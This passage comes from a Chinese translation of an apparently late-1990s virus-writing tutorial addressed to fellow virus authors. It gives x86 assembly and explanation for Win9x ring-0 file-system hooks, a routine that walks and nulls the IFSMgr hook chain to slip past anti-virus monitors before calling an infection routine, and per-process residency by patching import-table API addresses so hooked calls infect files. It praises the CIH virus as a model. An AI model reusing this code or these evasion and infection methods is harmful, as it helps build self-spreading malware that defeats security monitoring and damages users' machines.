mov eax,4301h ; Set attributes function
VxDCall IFSMgr_Ring0_FileIO
notsofunny:
ret
终于完了! :) 另外,所有的这些"VxDCall IFSMgr_Ring0_FileIO"最好在一个子例程中,用一个简单的call来调用它:它更优化了(如果你你使用我给你的VxDCall宏),它更好是因为只要把一个偏移放在VxDFix的表中就可以了。
%反VxD监视代码%
~~~~~~~~~~~~~~~
我必须不能忘记发现这个的人:Super/29A。此外,我应该解释这个东西是怎么回事。它和已经见过的InstallFileSystemApiHook服务有关,但是它没有被Micro$oft写成文档。InstallFileSystemApiHook服务返回给我们一个有意思的结构:
EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure
而且正如你所想的,最重要的是Hook_Info 结构:
00h -> 钩子处理的地址, 这个结构的第一个
04h -> 先前钩子处理的地址
08h -> 先前钩子的Hook_Info的地址
所以,我们对这个结构进行递归搜索直到找到了第一个,被监视程序使用的链的顶部...然后我们必须修改它。代码?下面给出一部分 :)
; EDI = Points to virus copy in system heap
lea ecx,[edi+New_Handler] ; Install FileSystem Hook
push ecx
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx
xchg esi,eax ; ESI = Ptr actual hook
; handler
push esi
lodsd ; add esi,4 ; ESI = Ptr to Hook Handler
tunnel: lodsd ; EAX = Previous Hook Handler
; ESI = Ptr to Hook_Info
xchg eax,esi ; Very clear :)
add esi,08h ; ESI = 3rd dword in struc:
; previous Hook_Info
js tunnel ; If ESI < 7FFFFFFF, it was
; the last one :)
; EAX = Hook_Info of the top
; chain
mov dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
pop eax ; EAX = Last hook handler
[...]
如果你不懂,不要担心,这是第一次:想象一下我读懂Sexy的代码所花的时间!好了,我们已经把链顶存在一个变量里了。接下来的的代码片断是我们检查一个系统打开文件的请求,而且我们知道这个调用不是由我们的病毒所做的,只是在调用感染程序之前。
lea esi,dword ptr [ebx+top_chain] ; ESI = Ptr to stored variable
lodsd ; EAX = Top Chain
xor edx,edx ; EDX = 0
xchg [eax],edx ; Top Chain = NULL
; EDX = Address of Top Chain
pushad
call Infection
popad
mov [eax],edx ; Restore Top Chain
这个简单多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是来自于Super,所以去惩罚一下他:)
%最后的话%
~~~~~~~~~~
我必须感谢3个在我编写第一个Ring-0的东东帮助过我的最重要的人:Super,Vecna和nIgr0(你们是好样的!)。好了,还有其它事情要说吗?呃...耶。Ring-0是我们在Win9X下的美梦,是的。但是总是有限制。如果我们,毒客们,找到了一个在系统中如NT或者将来的Win2000(NT5)下获取Ring-0特权的时候,就没关系了。Micro$oft将会做一个补丁或者一个Service Pack来修复所有这些可能的bug。无论如何,编写一个Ring-0病毒总是很有趣。对我来说经历确实有意思,并且帮助我知道了更多关于Windows内部结构的东西。系统几乎是胡乱的打开文件。只要看看其中的一个最多,最快的,传播最广的病毒是一个Ring-0病毒,CIH。
【每一线程驻留(Per-Process residency)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个用来讨论的非常有意思的话题:Per-Process residency,对所有的Win32平台都适用的一种方法。我已经把这一章从Ring-3那一章分离开来是因为我想它是一中进化,对于初学Ring-3来说也是稍微复杂了些。
%介绍%
~~~~~~
per-process residence首先由29A的Jacky Qwerty在1997年编写的。此外(对媒体来说,不是真正的-Win32.Jacky)它是第一个Win32病毒,它还是第一个Win32驻留病毒,使用从没见过的技术:per-process residence。那么你想知道"什么是per-process residence呢?"。我已经在DDT#1的一篇文章中解释了那个了,但是这里我将对这个方法作一个更深的分析。首先,你必须知道什么是Win32,和它的PE可执行文件是怎么工作的。当你调用一个API的时候,你将要调用一个由系统在运行期把Import Table(输入表)保存到内存的地址,这个输入表指向API在DLL中的入口点。为了作一个per-process驻留,你将要不得不对输入表做些手脚,并修改你想要钩住并指向你自己的代码的API地址值,这个代码能够处理指定的API,也就是说由API来处理感染文件。我知道这有一点点杂乱,但是正如在病毒代码编写的每一件事情中,开始总是看起来很难的,但是后面就非常简单了:)
--[DDT#1.2_4]---------------------------------------------------------------
恩,这个可能是我知道的编写Win32驻留病毒的唯一的已知途径。是的,你已经看到的是Win32而不是Win9X。这是因为这个方法还能够运行在WinNT下面。首先,你必须知道什么是一个进程。这个东西更使我奇怪的是那些开始在Windows下编程的人知道这个方法之后,并知道这个是个什么样的方法,但是他们通常不知道这个名字。好了,当我们执行一个Windows应用程序的时候,那就是一个进程:)非常容易理解。而这个驻留方式做了什么呢?首先我们必须开辟一块内存,为了把病毒主体放在那里,但是这个内存是从我们正在执行的自己的进程开始的。所以,我们开辟一些系统给这个进程的内存。它将由使用API函数"VirtualAlloc"来完成。但是...怎样来钩住API呢?现在据我所知最常用的方法是改变API在输入表(import table)中的地址。这是我的观点,唯一可行的方法。因为输入表可以被写,这就更简单了,而且我们不需要任何VxDCALL0的函数的帮助...
但是,这种类型的驻留病毒的弱点也在这里了...正如我们在输入表里所看到的,感染率严重依赖于我们要感染的文件。例如,如果我们感染WinNT的CMD.EXE,并且我有一个FindFirstFile(A/W)和FindNextFile(A/W)的感染例程,使用那些API的的所有文件都被感染。这就使得我们的病毒非常具有感染性,主要是因为当我们在WinNT下使用一个DIR命令的时候将会频繁使用。总之,如果我们不使用其它的方法来使它更具感染性的话,Per-Process方法将是非常脆弱的,如在Win32.Cabanas中,一个运行部分中。我们使得运行期部分每次感染/WINDOWS和/WINDOWS/SYSTEM目录下的一些文件。另外一个好的选择是,正如我在用CMD为例的例子里所说的,直接碰那些在第一次感染一个系统里的非常特别的文件...
--[DDT#1.2_4]---------------------------------------------------------------
我已经在1998年的12月份把它写出来了,虽然我发现它可以不通过开辟内存来实现,但是,我还是改了它使之更容易理解。
%输入表处理%
~~~~~~~~~~~~
下面使输入表的结构。
IMAGE_IMPORT_DESCRIPTOR
^^^^^^^^^^^^^^^^^^^^^^^
-----------------------------------<----+00000000h
| Characteristics | Size : 1 DWORD
-----------------------------------<----+00000004h
| Time Date Stamp | Size : 1 DWORD
-----------------------------------<----+00000008h
| Forwarder Chain | Size : 1 DWORD
-----------------------------------<----+0000000Ch
| Pointer to Name | Size : 1 DWORD
-----------------------------------<----+00000010h
| First Thunk | Size : 1 DWORD
-----------------------------------
现在让我们看看Matt Pietrek是怎么描述它的。
DWORD Characteristics
曾经,这个被看成一些标志。然而,微软改变了它的意思并不厌其烦地更新WINNT.H。这个域世界上是指向一个指针数组的偏移(一个RVA)。这些指针每个都指向一个IMAGE_IMPORT_BY_NAME结构。
DWORD TimeDateStamp
time/date 标志表明文件是什么时候建立的。
DWORD ForwarderChain
这个域和向前调用有关。向前调用包括在一个DLL中把它的一个函数发送引用到另外一个DLL。例如,在Windows NT中,NTDLL.DLL看起来有一些函数向前调用KERNEL32.DLL中的一些函数。一个应用程序可能会认为它在调用NTDLL.DLL中的一个函数,但是世界上最终调用KERNEL32.DLL中的函数。这个域包含了一个对FirstThunk数组(即将要描述)的索引。这个由这个域索引的函数将要向前调用到另外一个DLL中。不幸的是,这种函数是怎么向前调用的格式没有文档资料,而且向前调用的函数的例子很难找。
DWORD Name
这是一个以NULL结尾的包含输入的DLL的名字ASCII字符串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。
PIMAGE_THUNK_DATA FirstThunk
这个域是一个指向IMAGE_THUNK_DATA单元的偏移地址(一个RVA)。在几乎每种情况下,这个单元被理解成一个IMAGE_IMPORT_BY_NAME结构的指针。如果这个域不是这些指针的其中一个,那么它可能被认为是被输入的DLL的序数。资料中关于你是否真的可以通过序数而不是通过名字来输入一个函数并不很确切。一个IMAGE_IMPORT_DESCRIPTOR的重要的部分是输入的DLL名字和两个IMAGE_IMPORT_BY_NAME数组。在EXE文件中,这两个数组(指向Characteristics 和 FirstThunk域)是平行的,而且在每个数组的结尾是空指针。两个数组里的指针都指向一个IMAGE_IMPORT_BY_NAME结构。
现在正如你所知道的Matt Pietrek(G0D)的定义,我将在这里列出从输入表里获取API地址和到API(我们将要改变的,后面关于这个更多)的偏移地址的代码。
;--------从这里开始剪切-------------------------------------------------------
;
; GetAPI_IT 函数
; ==============
; 下面的代码能够从输入表(Import Table)中获取一些信息
;
GetAPI_IT proc
;-----------------------------------------------------------------------------
; Ok, 让我们摇摇头。这个函数需要的参数和返回如下:
;
; 输入 : EDI : 指向API名字的指针 (区分大小写)
; 输出 : EAX : API地址
; EBX : API地址在输入表(import table)中地址
;-----------------------------------------------------------------------------
mov dword ptr [ebp+TempGA_IT1],edi ; Save ptr to name
mov ebx,edi
xor al,al ; Search for "/0"
scasb
jnz $-1
sub edi,ebx ; Obtain size of name
mov dword ptr [ebp+TempGA_IT2],edi ; Save size of name
;-----------------------------------------------------------------------------
;我们首先保存指向API的指针到一个临时变量中,然后我们搜索那个字符串的结尾,由
;0标记的,然后我们把EDI的新值(指向0)它的旧值,这样就得到了API名字的大小。很
;迷人,不是吗?在这之后,我们把API名字的大小保存到另外一个临时变量中。
;-----------------------------------------------------------------------------
xor eax,eax ; Make zero EAX
mov esi,dword ptr [ebp+imagebase] ; Load process imagebase
add esi,3Ch ; Pointer to offset 3Ch
lodsw ; Get process PE header
add eax,dword ptr [ebp+imagebase] ; address (normalized!)
xchg esi,eax
lodsd
cmp eax,"EP" ; Is it really a PE?
jnz nopes ; Shit!
add esi,7Ch
lodsd ; Get address
push eax
lodsd ; EAX = Size
pop esi
add esi,dword ptr [ebp+imagebase]
;-----------------------------------------------------------------------------
;我们要做的第一件事是清空EAX,因为我们不要它的MSW。然后,我们要做的是在我们
;主体的头部检查PE签名。如果所有的事情都做好了,我们得到一个指向Import Table
;section (.idata)的指针。
;-----------------------------------------------------------------------------
SearchK32:
push esi
mov esi,[esi+0Ch] ; ESI = Pointer to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to "KERNEL32.dll",0
mov ecx,K32_Size ; ECX = Size of above string
cld ; Clear Direction Flag
push ecx ; Save size for later
rep cmpsb ; Compare bytes
pop ecx ; Restore size
pop esi ; Restore ptr to import
jz gotcha